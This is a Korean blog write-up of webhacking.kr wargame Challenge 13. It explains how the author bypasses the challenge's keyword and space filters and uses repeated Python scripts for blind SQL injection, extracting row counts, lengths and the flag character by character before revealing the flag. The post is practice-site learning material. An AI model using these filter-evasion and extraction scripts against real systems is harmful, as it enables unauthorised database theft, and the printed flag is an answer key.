티스토리 뷰
HINT로 컬럼과 테이블이 주어져 있고 입력을 할 수 있는 Submit와 Auth가 주어져 있다.
submit에 1,2 그리고 다른 값들을 넣어본 결과 no=1 일 경우에는 result도 1, 그 외에 다른 값들은 result은 0이 표시되었다.
(0을 입력하였을 때는 아무런 값도 표시되지 않았다.)
이를 통해서 참일 경우에는 result는 1이 표시되고 거짓일 경우에는 0이 표시된다는 것을 알 수 있다.
flag 값을 알아내기 위해서 submit에 SQL Injection 해본 결과, =, like, 띄어쓰기 등을 사용하면 no hack이 발생하였다.
이를 in(), ^(XOR) 연산자로 우회해서 먼저 flag 값의 개수를 count() 함수를 이용하여 확인해보면 2개가 있는 것을 알 수 있다.
^(XOR) 연산자 이용 비교
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib flag = 1 cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2" while(flag): params = "no=(select%0acount(flag)%0afrom%0aprob13password)^" + str(flag) conn = httplib.HTTPConnection('webhacking.kr') conn.request('GET','/challenge/web/web-10/?'+params,'',{'Cookie':cookie}) data = conn.getresponse().read() conn.close() if(data.find('<td>1</td>') != -1): print 'The Count is %d' %(1^flag) break print 'Go', flag flag = flag + 1 | cs |
in() 연산자 이용 비교
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib flag = 1 cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2" while(flag): params = "no=(select%0acount(flag)%0afrom%0aprob13password)%0ain(" + str(flag) + ")" conn = httplib.HTTPConnection('webhacking.kr') conn.request('GET','/challenge/web/web-10/?'+params,'',{'Cookie':cookie}) data = conn.getresponse().read() conn.close() if(data.find('<td>1</td>') != -1): print 'The Count is %d' %flag break print 'Go', flag flag = flag + 1 | cs |
The Count is 2
2개의 값을 구별하기 위해서 min(), max() 함수를 이용하였다.
먼저 각각의 길이를 파이썬으로 구할 수 있다.
length(max(flag))
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib flag = 1 cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2" while(flag): params = "no=(select%0alength(max(flag))%0afrom%0aprob13password)%0ain(" + str(flag) + ")" conn = httplib.HTTPConnection('webhacking.kr') conn.request('GET','/challenge/web/web-10/?'+params,'',{'Cookie':cookie}) data = conn.getresponse().read() conn.close() if(data.find('<td>1</td>') != -1): print 'The Count is %d' %flag break print 'Go', flag flag = flag + 1 | cs |
The Count is 4
length(min(flag))
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib flag = 1 cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2" while(flag): params = "no=(select%0alength(min(flag))%0afrom%0aprob13password)%0ain(" + str(flag) + ")" conn = httplib.HTTPConnection('webhacking.kr') conn.request('GET','/challenge/web/web-10/?'+params,'',{'Cookie':cookie}) data = conn.getresponse().read() conn.close() if(data.find('<td>1</td>') != -1): print 'The Count is %d' %flag break print 'Go', flag flag = flag + 1 | cs |
The Count is 20
길이를 가지고 각각의 flag 값도 파이썬으로 구할 수 있다.
max(flag)
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib flag = '' cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2" for i in range(1,5): for j in range(32,123): param = 'no=(select%0asubstr(max(binary(flag))%2C' + str(i) + '%2C1)%0afrom%0aprob13password)%0ain(' + hex(j) + ')' conn = httplib.HTTPConnection('webhacking.kr') conn.request('GET','/challenge/web/web-10/index.php?'+param,'',{'Cookie':cookie}) data = conn.getresponse().read() conn.close() if(data.find('<td>1</td>') != -1): print 'The value is ', chr(j) flag += chr(j) break print 'Go', chr(j) print flag | cs |
flag
min(flag)
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib flag = '' cookie = "PHPSESSID=j8fj8q9arprcr9kq8br1ufnjd2" for i in range(1,21): for j in range(32,123): param = 'no=(select%0asubstr(min(binary(flag))%2C' + str(i) + '%2C1)%0afrom%0aprob13password)%0ain(' + hex(j) + ')' conn = httplib.HTTPConnection('webhacking.kr') conn.request('GET','/challenge/web/web-10/index.php?'+param,'',{'Cookie':cookie}) data = conn.getresponse().read() conn.close() if(data.find('<td>1</td>') != -1): print 'The value is ', chr(j) flag += chr(j) break print 'Go', chr(j) print flag | cs |
challenge13fuckclear
알아낸 flag 값 flag와 challenge13fuckclear를 auth에 입력해보면 challenge13fuckclear가 문제 푸는 데 필요한 flag인 것을 알 수 있다.
(문제를 풀 당시에 해당 값을 구했으나 문제가 풀리지 않아서 3일 동안 뻘짓 아닌 뻘짓을 했었는데... oldzombie한테 문의 메일 보낸 결과...flag 값을 변경하고 인증 값을 바꾸지 않았다고 한다. > 문제 자체가 문제가 있을 수 있다. )
(challenge13fuckclear -> challenge13luckclear로 변경되었다. fuck -> luck)
'Wargame > Webhacking.kr' 카테고리의 다른 글
Challenge 18 (0) | 2015.07.07 |
---|---|
Challenge 17 (0) | 2015.07.07 |
Challenge 16 (0) | 2015.07.07 |
Challenge 15 (0) | 2015.07.07 |
Challenge 14 (0) | 2015.07.07 |
Challenge 12 (0) | 2015.07.06 |
Challenge 11 (0) | 2015.07.06 |
Challenge 10 (0) | 2015.07.06 |
Challenge 9 (0) | 2015.07.05 |
Challenge 8 (0) | 2015.07.05 |